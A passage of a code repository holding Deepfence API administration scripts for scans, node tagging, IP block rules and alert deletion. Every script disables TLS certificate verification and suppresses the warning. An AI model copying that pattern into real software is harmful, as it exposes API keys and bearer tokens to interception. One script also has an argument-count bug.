return response.json() 24 | 25 | 26 | def import_protection_policy(api_url, api_key, policy): 27 | # Auth 28 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, 29 | headers={"Content-Type": "application/json"}, verify=False).json() 30 | if auth_response["success"]: 31 | print("Authentication successful") 32 | else: 33 | print("Authentication failed") 34 | return 35 | 36 | files = { 37 | 'deepfence_export': ('network_protection_policy.json', json.dumps(policy)), 38 | 'resource_types': (None, '["network_protection_policy"]'), 39 | } 40 | response = requests.post("{0}/import".format(api_url), 41 | headers={"Authorization": "Bearer " + auth_response["data"]["access_token"]}, files=files) 42 | print(response.text) 43 | 44 | 45 | if __name__ == '__main__': 46 | import sys 47 | 48 | if len(sys.argv) != 5: 49 | print( 50 | "Usage: python3 export_protection_policy.py ") 51 | exit(1) 52 | policy = export_protection_policy("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 53 | import_protection_policy("https://{0}/deepfence/v1.5".format(sys.argv[3]), sys.argv[4], policy) 54 | -------------------------------------------------------------------------------- /scripts/streaming_api/helper.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "encoding/json" 6 | "fmt" 7 | "io/ioutil" 8 | "net/http" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | type authJSON struct { 14 | Data struct { 15 | AccessToken string `json:"access_token"` 16 | RefreshToken string `json:"refresh_token"` 17 | } `json:"data"` 18 | Error interface{} `json:"error"` 19 | Success bool `json:"success"` 20 | } 21 | 22 | func getAccessToken(apiUrl string, apiKey string) string { 23 | var authJson authJSON 24 | url := fmt.Sprintf("https://%s/deepfence/v1.5/users/auth", apiUrl) 25 | method := "POST" 26 | 27 | payload := strings.NewReader(fmt.Sprintf(`{"api_key" : "%s"}`, apiKey)) 28 | 29 | tr := &http.Transport{ 30 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 31 | } 32 | client := &http.Client{Transport: tr} 33 | req, err := http.NewRequest(method, url, payload) 34 | 35 | if err != nil { 36 | fmt.Println(err) 37 | return "" 38 | } 39 | req.Header.Add("Content-Type", "application/json") 40 | 41 | res, err := client.Do(req) 42 | if err != nil { 43 | fmt.Println(err) 44 | return "" 45 | } 46 | defer res.Body.Close() 47 | 48 | body, err := ioutil.ReadAll(res.Body) 49 | if err != nil { 50 | fmt.Println(err) 51 | return "" 52 | } 53 | 54 | json.Unmarshal(body, &authJson) 55 | return authJson.Data.AccessToken 56 | } 57 | 58 | func startVulnerabilityScan(nodeId string, accessToken string, nodeType string, apiUrl string) error { 59 | url := fmt.Sprintf("https://%s/deepfence/v1.5/node/0/cve_scan_start?scope_id=%s&node_type=%s&priority=false", apiUrl, nodeId, nodeType) 60 | payload := strings.NewReader(`{"user_defined_tags":[],"scan_type":["base","java","python","ruby","php","javascript","rust","golang","dotnet"],"scan_this_cluster":false,"scan_this_namespace":false}`) 61 | 62 | // wait till node is ready for scan 63 | time.Sleep(30 * time.Second) 64 | 65 | client := &http.Client{Transport: &http.Transport{ 66 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 67 | }} 68 | req, err := http.NewRequest("POST", url, payload) 69 | if err != nil { 70 | return err 71 | } 72 | req.Header.Add("Content-Type", "application/json") 73 | req.Header.Add("Authorization", fmt.Sprintf("Bearer %s", accessToken)) 74 | 75 | res, err := client.Do(req) 76 | if err != nil { 77 | return err 78 | } 79 | defer res.Body.Close() 80 | 81 | body, err := ioutil.ReadAll(res.Body) 82 | if err != nil { 83 | return err 84 | } 85 | fmt.Println(nodeId + ": " + string(body)) 86 | return nil 87 | } 88 | -------------------------------------------------------------------------------- /scripts/fim_config/update_global_fim_config.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import yaml, json 3 | from jsonschema import validate 4 | from jsonschema.exceptions import ValidationError, SchemaError 5 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 6 | 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | 10 | def update_fim_config(api_url, api_key, config_filename): 11 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 12 | api_response = requests.post("{0}/users/auth".format(api_url), 13 | json={"api_key": api_key}, headers=default_headers, 14 | verify=False).json() 15 | if api_response["success"]: 16 | print("Authentication successful") 17 | else: 18 | print("Authentication failed") 19 | return 20 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 21 | 22 | print("\nupdate global fim config") 23 | 24 | with open(config_filename, "r") as configfile: 25 | fim_config = configfile.read() 26 | with open("fim_config_schema.json", "r") as schemafile: 27 | fim_schema = schemafile.read() 28 | # print("Fim Config: ", fim_config) 29 | # print("Fim Schema: ", fim_schema) 30 | # print("config yaml: ", yaml.load(fim_config)) 31 | # print("schema json: ", json.loads(fim_schema)) 32 | try: 33 | validate(yaml.safe_load(fim_config), json.loads(fim_schema)) 34 | except ValidationError as ex: 35 | print("Fim Config is not valid: \n", ex) 36 | exit(1) 37 | except SchemaError as ex: 38 | print("Fim Schema is not valid: \n", ex) 39 | exit(1) 40 | except Exception as ex: 41 | print("Error: ", ex) 42 | exit(1) 43 | 44 | post_data = { 45 | "fim_config": str(fim_config) 46 | } 47 | try: 48 | response = requests.post("{0}/node/df_global_default_fim/update_fim_config?os=linux".format(api_url), 49 | headers=default_headers, verify=False, json=post_data) 50 | print(response.text) 51 | print("Global FIM config updated") 52 | except: 53 | print("Error in api call") 54 | 55 | 56 | if __name__ == '__main__': 57 | import sys 58 | 59 | if len(sys.argv) != 4: 60 | print("Usage: python3 update_fim_config.py ") 61 | exit(1) 62 | update_fim_config("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], sys.argv[3]) 63 | -------------------------------------------------------------------------------- /scripts/vulnerability_scan/schedule_vulnerability_scan.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | 7 | def start_cve_scan(api_url, api_key, tags, interval): 8 | # Auth 9 | default_headers = {"Content-Type": "application/json"} 10 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 11 | verify=False).json() 12 | if auth_response["success"]: 13 | print("Authentication successful") 14 | else: 15 | print("Authentication failed") 16 | return 17 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 18 | 19 | # Enumerate nodes 20 | enumerate_response = requests.post( 21 | "{0}/enumerate".format(api_url), 22 | json={"filters": {"type": ["host"], "user_defined_tags": [tags], "pseudo": False}, "size": 50000}, 23 | headers=default_headers, verify=False).json() 24 | nodes_list = [] 25 | counter = 0 26 | enumerate_response_nodes = enumerate_response.get("data", {}).get("data", []) 27 | if not enumerate_response_nodes: 28 | print("No nodes found") 29 | return 30 | for node in enumerate_response_nodes: 31 | node_name = "{0} (host)".format(node.get("host_name", "")) 32 | nodes_list.append({"id": node["id"], "node_name": node_name}) 33 | counter += 1 34 | 35 | print("Total number of hosts found with given tag: {0}".format(counter)) 36 | scan_type = ["base", "java", "js", "nodejs", "ruby", "python", "php", "dotnet"] 37 | post_data = { 38 | "action": "schedule_vulnerability_scan", 39 | "node_type": "host", 40 | "node_id_list": [n["id"] for n in nodes_list], 41 | "action_args": { 42 | "cron": "0 0 */{0} * *".format(interval), 43 | "resources": [], 44 | "scan_type": scan_type, 45 | }, 46 | } 47 | 48 | try: 49 | response = requests.post("{0}/node_action".format(api_url), headers=default_headers, 50 | verify=False, json=post_data) 51 | print(response.text) 52 | except: 53 | print("Error in api call") 54 | 55 | 56 | if __name__ == '__main__': 57 | import sys 58 | 59 | if len(sys.argv) != 5: 60 | print( 61 | "Usage: python3 schedule_vulnerability_scan_tag.py ") 62 | exit(1) 63 | start_cve_scan("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], sys.argv[3], sys.argv[4]) 64 | -------------------------------------------------------------------------------- /scripts/node_tags/start_vulnerability_scan_for_tag.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | 7 | def run_vulnerability_scan(api_url, api_key, tag): 8 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 9 | api_response = requests.post("{0}/users/auth".format(api_url), 10 | json={"api_key": api_key}, headers=default_headers, 11 | verify=False).json() 12 | if api_response["success"]: 13 | print("Authentication successful") 14 | else: 15 | print("Authentication failed") 16 | return 17 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 18 | 19 | enumerate_filters = {"type": ["host", "container", "container_image"], "user_defined_tags": [tag], "pseudo": False} 20 | api_response = requests.post("{0}/enumerate".format(api_url), 21 | json={"filters": enumerate_filters, "size": 1000}, 22 | headers=default_headers, verify=False).json() 23 | nodes_list = [] 24 | counter = 1 25 | api_response_nodes = api_response.get("data", {}).get("data", []) 26 | if not api_response_nodes: 27 | print("No nodes found with tag {0}".format(tag)) 28 | return 29 | print("\nNodes with tag \"{0}\"".format(tag)) 30 | for node in api_response_nodes: 31 | if node["type"] == "container": 32 | node_name = "{0} / {1} (container)".format(node.get("container_name", ""), node.get("host_name", "")) 33 | elif node["type"] == "container_image": 34 | node_name = "{0} (container_image)".format(node.get("image_name_with_tag", "")) 35 | else: 36 | node_name = "{0} (host)".format(node.get("host_name", "")) 37 | print("{0}: {1}".format(counter, node_name)) 38 | nodes_list.append({"id": node["id"], "node_name": node_name}) 39 | counter += 1 40 | counter = 1 41 | for node in nodes_list: 42 | print("\n{0}: Starting vulnerability scan on {1}".format(counter, node["node_name"])) 43 | print(requests.post("{0}/node/{1}/cve_scan_start".format(api_url, node["id"]), 44 | headers=default_headers, verify=False, json={}).json()) 45 | counter += 1 46 | 47 | 48 | if __name__ == '__main__': 49 | import sys 50 | 51 | if len(sys.argv) != 4: 52 | print("Usage: python3 start_vulnerability_scan_for_tag.py ") 53 | exit(1) 54 | run_vulnerability_scan("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], sys.argv[3]) 55 | -------------------------------------------------------------------------------- /scripts/node_network_policy/delete_blacklisted_ip_rules.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | import re 4 | import json 5 | from pathlib import Path 6 | 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | regex = "^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$" 10 | 11 | 12 | def validate(Ip): 13 | if re.search(regex, Ip): 14 | return True 15 | else: 16 | return False 17 | 18 | 19 | def delete_blacklist_ips_inbound_rule(api_url, api_key): 20 | # Auth 21 | default_headers = {"Content-Type": "application/json"} 22 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 23 | verify=False).json() 24 | if auth_response["success"]: 25 | print("Authentication successful") 26 | else: 27 | print("Authentication failed") 28 | return 29 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 30 | 31 | my_file = Path("./ip_addresses.txt") 32 | if my_file.is_file(): 33 | blacklist_ips_file = open("ip_addresses.txt") 34 | Ips = blacklist_ips_file.read().split('\n') 35 | final_ips = [] 36 | for ip in Ips: 37 | if validate(ip): 38 | final_ips.append(ip) 39 | else: 40 | print("ip_addresses.txt file missing") 41 | return 42 | 43 | blacklist_ips_file.close() 44 | id_list = [] 45 | 46 | url = f"{api_url}/users/node_network_protection_policy?node_policy_type=blacklist&" 47 | response = requests.request("GET", url, headers=default_headers, data={}, verify=False) 48 | if response.status_code == 200: 49 | json_response = response.json() 50 | for row in json_response.get('data', {}).get('node_network_protection_policies', []): 51 | if row.get('node_policy_type') == 'blacklist' and row.get('packet_direction') == "inbound": 52 | if row.get('ip_address') in final_ips: 53 | id_list.append(row.get('id')) 54 | else: 55 | print(response.text) 56 | 57 | if id_list: 58 | payload = json.dumps({ 59 | "policy_id_list": [str(id) for id in id_list] 60 | }) 61 | delete_url = f"{api_url}/users/node_network_protection_policy" 62 | del_response = requests.request("DELETE", delete_url, headers=default_headers, data=payload, verify=False) 63 | 64 | if del_response.status_code != 200: 65 | print(del_response.text) 66 | print("Node network policies deleted successfully") 67 | else: 68 | print("There are no rules to be deleted") 69 | 70 | 71 | if __name__ == '__main__': 72 | import sys 73 | 74 | if len(sys.argv) != 3: 75 | print("Usage: python3 delete_blacklisted_ip_rules.py.py ") 76 | exit(1) 77 | delete_blacklist_ips_inbound_rule("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 78 | -------------------------------------------------------------------------------- /scripts/node_tags/add_tag_to_nodes.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | 7 | def add_tags(api_url, api_key): 8 | # Auth 9 | default_headers = {"Content-Type": "application/json"} 10 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 11 | verify=False).json() 12 | if auth_response["success"]: 13 | print("Authentication successful") 14 | else: 15 | print("Authentication failed") 16 | return 17 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 18 | 19 | print("Enter tag to add to selected nodes. Eg: prod") 20 | tags_to_add = input("-->").split(",") 21 | # Enumerate nodes 22 | enumerate_response = requests.post( 23 | "{0}/enumerate".format(api_url), 24 | json={"filters": {"type": ["host", "container", "container_image"], "pseudo": False}, "size": 500}, 25 | headers=default_headers, verify=False).json() 26 | nodes_list = [] 27 | counter = 1 28 | enumerate_response_nodes = enumerate_response.get("data", {}).get("data", []) 29 | if not enumerate_response_nodes: 30 | print("No nodes found") 31 | return 32 | for node in enumerate_response_nodes: 33 | if node["type"] == "container": 34 | node_name = "{0} / {1} (container)".format(node.get("container_name", ""), node.get("host_name", "")) 35 | elif node["type"] == "container_image": 36 | node_name = "{0} (container_image)".format(node.get("image_name_with_tag", "")) 37 | else: 38 | node_name = "{0} (host)".format(node.get("host_name", "")) 39 | print("{0}: {1}".format(counter, node_name)) 40 | nodes_list.append({"id": node["id"], "node_name": node_name}) 41 | counter += 1 42 | print("\nEnter comma separated list of node numbers to add tag {0}. Eg: 1,3,4".format(tags_to_add)) 43 | print("Enter \"all\" (without quotes) to add tag {0} to all nodes\n".format(tags_to_add)) 44 | user_input = input("-->").split(",") 45 | if "all" in user_input: 46 | nodes_selected = nodes_list 47 | else: 48 | nodes_selected = [] 49 | for user_input_no in user_input: 50 | try: 51 | nodes_selected.append(nodes_list[int(user_input_no) - 1]) 52 | except: 53 | pass 54 | counter = 1 55 | for node in nodes_selected: 56 | print("\n{0}: Add tag {1} to {2}".format(counter, tags_to_add, node["node_name"])) 57 | print(requests.post("{0}/node/{1}/add_tags".format(api_url, node["id"]), 58 | json={"user_defined_tags": tags_to_add}, headers=default_headers, verify=False).json()) 59 | counter += 1 60 | 61 | 62 | if __name__ == '__main__': 63 | import sys 64 | 65 | if len(sys.argv) != 3: 66 | print("Usage: python3 add_tag_to_nodes.py ") 67 | exit(1) 68 | add_tags("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 69 | -------------------------------------------------------------------------------- /scripts/traffic_analysis/stop_traffic_analysis.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | 7 | def stop_traffic_analysis(api_url, api_key): 8 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 9 | api_response = requests.post("{0}/users/auth".format(api_url), 10 | json={"api_key": api_key}, headers=default_headers, 11 | verify=False).json() 12 | if api_response["success"]: 13 | print("Authentication successful") 14 | else: 15 | print("Authentication failed") 16 | return 17 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 18 | 19 | enumerate_filters = {"type": ["host"], "pseudo": False} 20 | api_response = requests.post("{0}/enumerate".format(api_url), 21 | json={"filters": enumerate_filters, "size": 10000}, 22 | headers=default_headers, verify=False).json() 23 | nodes_list = [] 24 | counter = 1 25 | print("\nStop traffic analysis") 26 | api_response_nodes = api_response.get("data", {}).get("data", []) 27 | if not api_response_nodes: 28 | print("No nodes found") 29 | return 30 | for node in api_response_nodes: 31 | if node.get("is_ui_vm", False): 32 | continue 33 | if node["type"] == "kube_service": 34 | node_name = "{0} (kubernetes service)".format(node.get("name", "")) 35 | else: 36 | node_name = "{0} (host)".format(node.get("host_name", "")) 37 | print("{0}: {1}".format(counter, node_name)) 38 | nodes_list.append({"id": node["id"], "node_name": node_name, "node_type": node["type"]}) 39 | counter += 1 40 | print("\nEnter comma separated list of node numbers to stop traffic analysis. Eg: 1,3,4\n") 41 | print("Enter \"all\" (without quotes) to stop traffic analysis on all nodes\n") 42 | user_input = input("-->").split(",") 43 | if "all" in user_input: 44 | nodes_selected = nodes_list 45 | else: 46 | nodes_selected = [] 47 | for user_input_no in user_input: 48 | try: 49 | nodes_selected.append(nodes_list[int(user_input_no) - 1]) 50 | except: 51 | pass 52 | if not nodes_selected: 53 | print("No nodes selected. Select at least one node.") 54 | exit(0) 55 | 56 | for node in nodes_selected: 57 | try: 58 | response = requests.post("{0}/node/{1}/packet_capture_stop?".format(api_url, node["id"]), 59 | headers=default_headers, verify=False, json={}) 60 | print(response.text) 61 | print("Stopped traffic analysis on selected nodes") 62 | except: 63 | print("Error in api call") 64 | 65 | 66 | if __name__ == '__main__': 67 | import sys 68 | 69 | if len(sys.argv) != 3: 70 | print("Usage: python3 stop_traffic_analysis.py ") 71 | exit(1) 72 | stop_traffic_analysis("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 73 | -------------------------------------------------------------------------------- /scripts/alerts/delete_alerts_by_time.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime, timedelta 2 | 3 | import requests 4 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 5 | from collections import defaultdict 6 | 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | 10 | def split_list_into_chunks(my_list: list, size: int) -> list: 11 | def divide_chunks(l, n): 12 | for i in range(0, len(l), n): 13 | yield l[i:i + n] 14 | 15 | return list(divide_chunks(my_list, size)) 16 | 17 | 18 | def delete_alerts(api_url, api_key, days_ago): 19 | days_ago = int(days_ago) 20 | if days_ago < 1: 21 | print("days_ago should be greater than 0") 22 | return 23 | 24 | # Auth 25 | default_headers = {"Content-Type": "application/json"} 26 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 27 | verify=False).json() 28 | if auth_response["success"]: 29 | print("Authentication successful") 30 | else: 31 | print("Authentication failed") 32 | return 33 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 34 | 35 | today = datetime.utcnow() 36 | n_days_ago = today - timedelta(days=int(days_ago)) 37 | print("Deleting alerts before "+n_days_ago.strftime("%H:%M:%S, %d %B %Y")) 38 | 39 | es_from = 0 40 | page_size = 5000 41 | alert_ids_to_delete = [] 42 | while True: 43 | if es_from + page_size >= 50000: 44 | break 45 | alerts_summary = requests.post( 46 | "{0}/search?from={1}&size={2}&lucene_query=&number=365&time_unit=day".format(api_url, es_from, page_size), 47 | json={"_type": "alert", "_source": ["_id", "@timestamp"], 48 | "filters": {"masked": ["false", "true"]}}, 49 | headers=default_headers, verify=False).json() 50 | if not alerts_summary.get("success", False): 51 | print(alerts_summary.get("error", "")) 52 | return 53 | if not alerts_summary["data"]["hits"]: 54 | break 55 | 56 | for alert in alerts_summary["data"]["hits"]: 57 | alert_date = datetime.strptime(alert["_source"]["@timestamp"], "%Y-%m-%dT%H:%M:%S.%fZ") 58 | if alert_date < n_days_ago: 59 | alert_ids_to_delete.append(alert["_id"]) 60 | es_from += page_size 61 | 62 | if not alert_ids_to_delete: 63 | print("No alerts to delete") 64 | return 65 | 66 | print("Total alerts to delete: "+str(len(alert_ids_to_delete))) 67 | for alert_ids in split_list_into_chunks(alert_ids_to_delete, 500): 68 | print(requests.post("{0}/docs/delete_by_id".format(api_url), 69 | json={"ids": alert_ids, "index_name": "alert", "doc_type": "alert"}, 70 | headers=default_headers, verify=False).text) 71 | 72 | 73 | if __name__ == '__main__': 74 | import sys 75 | 76 | if len(sys.argv) != 3: 77 | print("Usage: python3 delete_alerts_by_time.py ") 78 | exit(1) 79 | delete_alerts("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], sys.argv[3]) 80 | -------------------------------------------------------------------------------- /scripts/node_tags/start_compliance_scan_for_tag.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | compliance_check_types = ["cis", "nist_master", "nist_slave", "pcidss", "hipaa", "standard"] 6 | 7 | 8 | def run_compliance_scan(api_url, api_key, tag, compliance_check_type): 9 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 10 | api_response = requests.post("{0}/users/auth".format(api_url), 11 | json={"api_key": api_key}, headers=default_headers, 12 | verify=False).json() 13 | if api_response["success"]: 14 | print("Authentication successful") 15 | else: 16 | print("Authentication failed") 17 | return 18 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 19 | 20 | enumerate_filters = {"type": ["host", "container", "container_image"], "user_defined_tags": [tag], "pseudo": False} 21 | api_response = requests.post("{0}/enumerate".format(api_url), 22 | json={"filters": enumerate_filters, "size": 1000}, 23 | headers=default_headers, verify=False).json() 24 | nodes_list = [] 25 | counter = 1 26 | api_response_nodes = api_response.get("data", {}).get("data", []) 27 | if not api_response_nodes: 28 | print("No nodes found with tag {0}".format(tag)) 29 | return 30 | print("\nNodes with tag \"{0}\"".format(tag)) 31 | for node in api_response_nodes: 32 | if node["type"] == "container": 33 | node_name = "{0} / {1} (container)".format(node.get("container_name", ""), node.get("host_name", "")) 34 | elif node["type"] == "container_image": 35 | node_name = "{0} (container_image)".format(node.get("image_name_with_tag", "")) 36 | else: 37 | node_name = "{0} (host)".format(node.get("host_name", "")) 38 | print("{0}: {1}".format(counter, node_name)) 39 | nodes_list.append({"id": node["id"], "node_name": node_name}) 40 | counter += 1 41 | counter = 1 42 | for node in nodes_list: 43 | print("\n{0}: Starting compliance scan on {1}".format(counter, node["node_name"])) 44 | print(requests.post("{0}/node/{1}/start_compliance_scan".format(api_url, node["id"]), 45 | headers=default_headers, verify=False, 46 | json={"compliance_check_type": compliance_check_type}).json()) 47 | counter += 1 48 | 49 | 50 | if __name__ == '__main__': 51 | import sys 52 | 53 | if len(sys.argv) != 5: 54 | print( 55 | "Usage: python3 start_compliance_scan_for_tag.py ") 56 | print("Options for compliance_check_type: {0}".format(", ".join(compliance_check_types))) 57 | exit(1) 58 | print("Options for compliance_check_type: {0}".format(", ".join(compliance_check_types))) 59 | if sys.argv[4] not in compliance_check_types: 60 | print("Invalid compliance_check_type {0}".format(sys.argv[4])) 61 | run_compliance_scan("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], sys.argv[3], sys.argv[4]) 62 | -------------------------------------------------------------------------------- /scripts/node_tags/apply_network_policy_for_tag.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | 7 | def apply_network_policy(api_url, api_key, tag, node_policy_type, packet_direction, ip_address_to_block, port, 8 | block_duration): 9 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 10 | api_response = requests.post("{0}/users/auth".format(api_url), 11 | json={"api_key": api_key}, headers=default_headers, 12 | verify=False).json() 13 | if api_response["success"]: 14 | print("Authentication successful") 15 | else: 16 | print("Authentication failed") 17 | return 18 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 19 | 20 | enumerate_filters = {"type": ["host", "container"], "user_defined_tags": [tag], "pseudo": False} 21 | api_response = requests.post("{0}/enumerate".format(api_url), 22 | json={"filters": enumerate_filters, "size": 1000}, 23 | headers=default_headers, verify=False).json() 24 | nodes_list = [] 25 | counter = 1 26 | api_response_nodes = api_response.get("data", {}).get("data", []) 27 | if not api_response_nodes: 28 | print("No nodes found with tag {0}".format(tag)) 29 | return 30 | print("\nNodes with tag \"{0}\"".format(tag)) 31 | for node in api_response_nodes: 32 | node_name = "{0} (host)".format(node.get("host_name", "")) if node["type"] == "host" \ 33 | else "{0} / {1} (container)".format(node.get("container_name", ""), node.get("host_name", "")) 34 | print("{0}: {1}".format(counter, node_name)) 35 | nodes_list.append({"id": node["id"], "node_name": node_name}) 36 | counter += 1 37 | counter = 1 38 | for node in nodes_list: 39 | print("\n{0}: Applying node network policy on {1}".format(counter, node["node_name"])) 40 | post_data = {"node_id": node["id"], "node_policy_type": node_policy_type, "packet_direction": packet_direction, 41 | "ip_address_list": [ip_address_to_block], "port_list": [port], "block_duration": block_duration, 42 | "action": "block"} 43 | print(requests.post("{0}/users/node_network_protection_policy".format(api_url), 44 | headers=default_headers, verify=False, json=post_data).json()) 45 | counter += 1 46 | 47 | 48 | if __name__ == '__main__': 49 | import sys 50 | 51 | if len(sys.argv) != 9: 52 | print( 53 | "Usage: python3 apply_network_policy_for_tag.py " 54 | " ") 55 | print("node_policy_type: blacklist, whitelist") 56 | print("packet_direction: inbound, outbound") 57 | print("ip_address_to_block: external ip address to block") 58 | print("port: internal port") 59 | print("block_duration: Number of seconds to block the external ip address. '0' for indefinite blocking") 60 | exit(1) 61 | apply_network_policy("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], sys.argv[3], sys.argv[4], 62 | sys.argv[5], sys.argv[6], int(sys.argv[7]), int(sys.argv[8])) 63 | -------------------------------------------------------------------------------- /scripts/vulnerability_scan/stop_vulnerability_scan.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | 7 | def stop_node_scan(api_url, default_headers): 8 | # Enumerate nodes 9 | enumerate_response = requests.post( 10 | "{0}/enumerate".format(api_url), 11 | json={"filters": {"type": ["host", "container_image"], "pseudo": False, 12 | "vulnerability_scan_status": ["queued"]}, "size": 100000}, 13 | headers=default_headers, verify=False).json() 14 | nodes_list = [] 15 | enumerate_response_nodes = enumerate_response.get("data", {}).get("data", []) 16 | if not enumerate_response_nodes: 17 | return 18 | for node in enumerate_response_nodes: 19 | nodes_list.append(node["id"]) 20 | post_data = {"action": "cve_scan_stop", "node_type": "host", "node_id_list": nodes_list, "action_args": {}} 21 | print("\nStopping all host and container scans") 22 | print(requests.post("{0}/node_action".format(api_url), 23 | json=post_data, headers=default_headers, verify=False).json()) 24 | 25 | 26 | def stop_registry_scans(api_url, default_headers, registry_id, registry_type): 27 | # Enumerate registries 28 | enumerate_response = requests.post( 29 | "{0}/enumerate".format(api_url), 30 | json={"filters": {"type": ["registry_image"], "vulnerability_scan_status": ["queued"]}, 31 | "size": 200000, "registry_id": registry_id}, 32 | headers=default_headers, verify=False).json() 33 | image_name_with_tag_list = [] 34 | enumerate_response_nodes = enumerate_response.get("data", {}).get("data", []) 35 | if not enumerate_response_nodes: 36 | return 37 | for node in enumerate_response_nodes: 38 | image_name_with_tag_list.append(node["image_name_with_tag"]) 39 | print("\nStopping {0} registry scans".format(registry_type)) 40 | post_data = {"action": "cve_scan_stop", "node_type": "registry_image", "registry_images": { 41 | "image_name_with_tag_list": image_name_with_tag_list, "registry_id": registry_id}} 42 | print(requests.post("{0}/node_action".format(api_url), 43 | json=post_data, headers=default_headers, verify=False).json()) 44 | 45 | 46 | def stop_vulnerability_scan(api_url, api_key): 47 | # Auth 48 | default_headers = {"Content-Type": "application/json"} 49 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 50 | verify=False).json() 51 | if auth_response["success"]: 52 | print("Authentication successful") 53 | else: 54 | print("Authentication failed") 55 | return 56 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 57 | 58 | stop_node_scan(api_url, default_headers) 59 | registries = requests.get("{0}/vulnerability/container_image_registry".format(api_url), 60 | headers=default_headers, verify=False).json().get("data", {}) 61 | for registry in registries: 62 | stop_registry_scans(api_url, default_headers, registry["id"], registry["registry_type"]) 63 | 64 | 65 | if __name__ == '__main__': 66 | import sys 67 | 68 | if len(sys.argv) != 3: 69 | print("Usage: python3 stop_vulnerability_scan.py ") 70 | exit(1) 71 | stop_vulnerability_scan("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 72 | -------------------------------------------------------------------------------- /scripts/packet_capture/stop_packet_capture_for_processes.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from threading import Thread 3 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 4 | 5 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 6 | 7 | 8 | def stop_packet_capture(api_url, api_key): 9 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 10 | api_response = requests.post("{0}/users/auth".format(api_url), 11 | json={"api_key": api_key}, headers=default_headers, 12 | verify=False).json() 13 | if api_response["success"]: 14 | print("Authentication successful") 15 | else: 16 | print("Authentication failed") 17 | return 18 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 19 | 20 | enumerate_filters = {"type": ["host"], "pseudo": False} 21 | api_response = requests.post("{0}/enumerate".format(api_url), 22 | json={"filters": enumerate_filters, "size": 1000}, 23 | headers=default_headers, verify=False).json() 24 | nodes_list = [] 25 | counter = 1 26 | 